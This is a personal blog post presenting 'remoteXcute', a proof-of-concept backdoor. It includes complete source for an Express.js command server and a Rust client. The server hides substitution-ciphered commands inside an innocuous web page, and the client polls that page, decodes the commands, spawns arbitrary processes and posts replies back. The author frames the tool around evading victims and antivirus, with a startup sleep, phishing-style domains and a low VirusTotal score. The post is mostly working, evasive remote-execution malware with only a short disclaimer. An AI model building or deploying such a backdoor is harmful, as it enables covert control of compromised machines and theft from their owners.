2025 © Ty Qualters. Built with .
2025 © Ty Qualters. Built with .
GitHub Link: https://github.com/tyqualters/remoteXcute
VirusTotal Link: https://www.virustotal.com/gui/file/7315e278ffbb830260b0c40f1c15332c4ccd14d4e0efd17713a2d95d704d1fab?nocache=1
I created my first proof-of-concept (POC) of a backdoor / defense evasion technique that I call remoteXcute.
Disclaimer: I am not sure if this has been implemented before. I just thought of this idea and decided it would be interesting to see if it worked. Please do not use this for unethical or illegal purposes. This is provided “as-is”. No Warranty or Liability.
I have more details on the GitHub linked above. The idea behind remoteXcute is that as a penetration tester who recently compromised a device, you want to avoid detection at all costs. You do not want your victim finding your reverse shell, you do not want to get flagged by an anti-virus, you do not care about frequent updates but you still want reliable control, and you want to hide yourself within a service.
In this case, that is just what this POC accomplished.
Before talking about the client and server, I need to cover the message structure.
For each ASCII character on the keyboard (code 32 through 126), a 2-character pair is randomly assigned. In other words, a substitution cipher.
For each command, a 2-character pair is assigned. This is less of a cipher and more of a function identifier. Each command sequence is delimited by another 2-character pair.
For the purposes of this POC, the run
command is used to start a process with arguments. This command translates to AA
. The ending delimiter is ..
. So an instance of this command could look like: AA<data sub-sequence>..
The server in my test is an Express.js webserver.
It grabs the static index.html file I created. In a more practical scenario, the file would mimic a real website and the domain name would be manipulated the same as a phishing handle.
The client will initiate a connection to the server. The server will take the command it is configured to provide, parse it into the command sequence, and pass it along to the client. Additionally, it will pass the time remaining for the next expected update. The update time is for synchronization and to attempt to avoid missing updates. However, in this POC I did not implement dynamically changing the commands the webserver provided.
The server also listens for POST requests for any data relay from the client.
src.js
const express = require("express");
const fs = require("fs");
const path = require("path");
const app = express();
const PORT = 3000;
app.use(express.text())
const commands = {
'run': 'AA',
'reply': 'BB'
};
const pairs = [];
// Begin auto generated
pairs.push({ '"^': ' ' });
pairs.push({ '|W': '!' });
pairs.push({ 'Vd': '"' });
// (shortened for brevity)
// End auto generated
pairs.push({ '..': '\0'})
function MakeCommand(str) {
let finalString = "";
let _ = str.split(' ');
let command = _[0];
if(commands[String(command)] !== undefined) {
finalString += commands[String(command)];
}
else return `${finalString}..`;
let args = str.substring(command.length + 1);
for(let i = 0; i < args.length; i++) {
for(pair of pairs) {
let key = Object.keys(pair)[0]
if(pair[key] == args[i]) finalString += key
}
}
return `${finalString}..`;
}
const replacementString = `${MakeCommand('reply Hello world!')}${MakeCommand('run cmd.exe /c start https://tyqualters.com')}`
// Generate random number between 15 and 120
function randomNum() {
return Math.floor(Math.random() * (120 - 15 + 1)) + 15
}
let updateTime = randomNum()
let oldDate = new Date()
app.post("/", (req, res) => {
console.log(`Received reply: ${req.body}`)
res.end();
});
app.get("/", (req, res) => {
const filePath = path.join(__dirname, "index.html");
fs.readFile(filePath, "utf8", (err, data) => {
if (err) {
res.status(500).send("Error reading index.html");
return;
}
// Replace the first two % in order
let replaced = data;
if(Math.floor((new Date().getTime() - oldDate.getTime()) / 1000) >= updateTime) {
oldDate = new Date()
updateTime = randomNum
// here you would update the code for the next command
// setting a UID at the beginning of the message would help prevent repeating commands
}
replaced = replaced.replace("%", updateTime - Math.floor((new Date().getTime() - oldDate.getTime()) / 1000));
replaced = replaced.replace("%", replacementString);
res.send(replaced);
});
});
app.listen(PORT, () => {
console.log(`Server running at http://localhost:${PORT}`);
});
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<h1>Welcome to my site!</h1>
<h3>Here are some cool things to look at!</h3>
<nav>
<a href="/page">Page</a>
<a href="/page">Page</a>
<a href="/page">Page</a>
</nav>
<p>Update in % seconds</p>
<p>Some cool stuff: <code>%</code></p>
</body>
</html>
After 30 seconds, the client will initiate connection to the server. Upon a successful response, it will split the total sequence up into multiple command sequences. For each command sequence, the command identifier is used to call the intended function, and the rest of the sequence is deciphered and passed to the function.
The client then retrieves the next time to update and sleeps until that time arives. It then repeats the process.
src/main.rs
use regex::Regex;
use reqwest::{Client};
use std::collections::HashMap;
use std::process::Command;
use std::thread::sleep;
use std::time::Duration;
use tokio::runtime::Runtime;
async fn send_data(data: &str) {
let client: Client = Client::new();
println!("Reply: {}", data);
let _ = client
.post("http://localhost:3000")
.header("Content-Type", "text/plain")
.body(data.to_string())
.send()
.await;
}
fn start(data: &str) {
let parts: Vec<&str> = data.split(' ').collect();
// Get the first element as the name
let name = parts[0];
// Get the remaining elements as args
let arr = &parts[1..];
println!("Start: {} {}", name, arr.join(" "));
let _ = Command::new(name).args(arr).spawn();
}
fn main() -> () {
let rt: Runtime = Runtime::new().unwrap();
println!("RemoteXcute client POC");
// this would avoid most AVs
sleep(Duration::from_secs(30));
println!("Client acting");
let check_again_pattern = Regex::new(r"Update in (?<dur>[0-9]+) seconds").unwrap();
let command_pattern = Regex::new(r"<code>(?P<content>.*?)</code>").unwrap();
let mut dur: u64 = 0;
// Define a map of pairs -> actions (lambdas)
let mut actions: HashMap<&str, Box<dyn Fn(&str)>> = HashMap::new();
actions.insert("AA", Box::new(|data: &str| start(data)));
actions.insert("BB", Box::new(|data: &str| rt.block_on(send_data(data))));
let mut chars: HashMap<&str, char> = HashMap::new();
// Begin auto generated
chars.insert("\"^", ' ');
chars.insert("|W", '!');
chars.insert("Vd", '\"');
// (shortened for brevity)
// End auto generated
chars.insert("..", '\0');
loop {
println!("Requesting");
let resp: Option<reqwest::Response> = rt.block_on(async {
match reqwest::get("http://localhost:3000/").await {
Ok(r) => Some(r),
Err(_) => None,
}
});
if resp.is_some() {
let body = rt.block_on(async {
resp.unwrap().text().await
});
if body.is_ok() {
println!("Reply received");
let content = body.unwrap();
println!("content");
// Get the update time
if let Some(wait_times) = check_again_pattern.captures(content.as_str()) {
let dur_str = &wait_times["dur"];
dur = dur_str.parse().unwrap();
} else {
dur = 30;
}
// Find the first occurrence
if let Some(caps) = command_pattern.captures(content.as_str()) {
println!("Captured content: {}", &caps["content"]);
let raw_commands = &caps["content"];
// Check that the full string is divisible by 2 first
if raw_commands.len() % 2 != 0 {
println!("Command not divisible by 2. Ignoring.");
} else {
// Split by ".." delimiter and iterate over each command
for cmd in raw_commands.split("..") {
if cmd.is_empty() {
continue; // skip empty segments
}
let mut result = String::new();
let chars_vec: Vec<char> = cmd.chars().collect();
let mut i = 2;
while i + 1 < chars_vec.len() {
let key = format!("{}{}", chars_vec[i], chars_vec[i + 1]);
if let Some(&val) = chars.get(key.as_str()) {
result.push(val);
i += 2; // move past the two-character key
} else {
result.push(chars_vec[i]);
i += 1;
}
}
let cmdstr: String = cmd.chars().take(2).collect();
if let Some(action) = actions.get(cmdstr.as_str()) {
println!("Calling action for command: {} {}", cmdstr, result);
action(result.as_str());
} else {
if cmdstr != ".." {
println!("Unknown action for command: {}. Ignoring.", cmdstr);
}
}
}
}
}
}
} else {
println!("Unsuccessful");
dur = 30;
}
println!("Sleeping {} seconds", dur);
sleep(Duration::from_secs(dur));
}
}
There is a lot that can be added to make this technique more advanced, but it has a very low detection score on VirusTotal and actually works for remote command execution.
HTTP GET Request (not HTTPS)
V/r,
Ty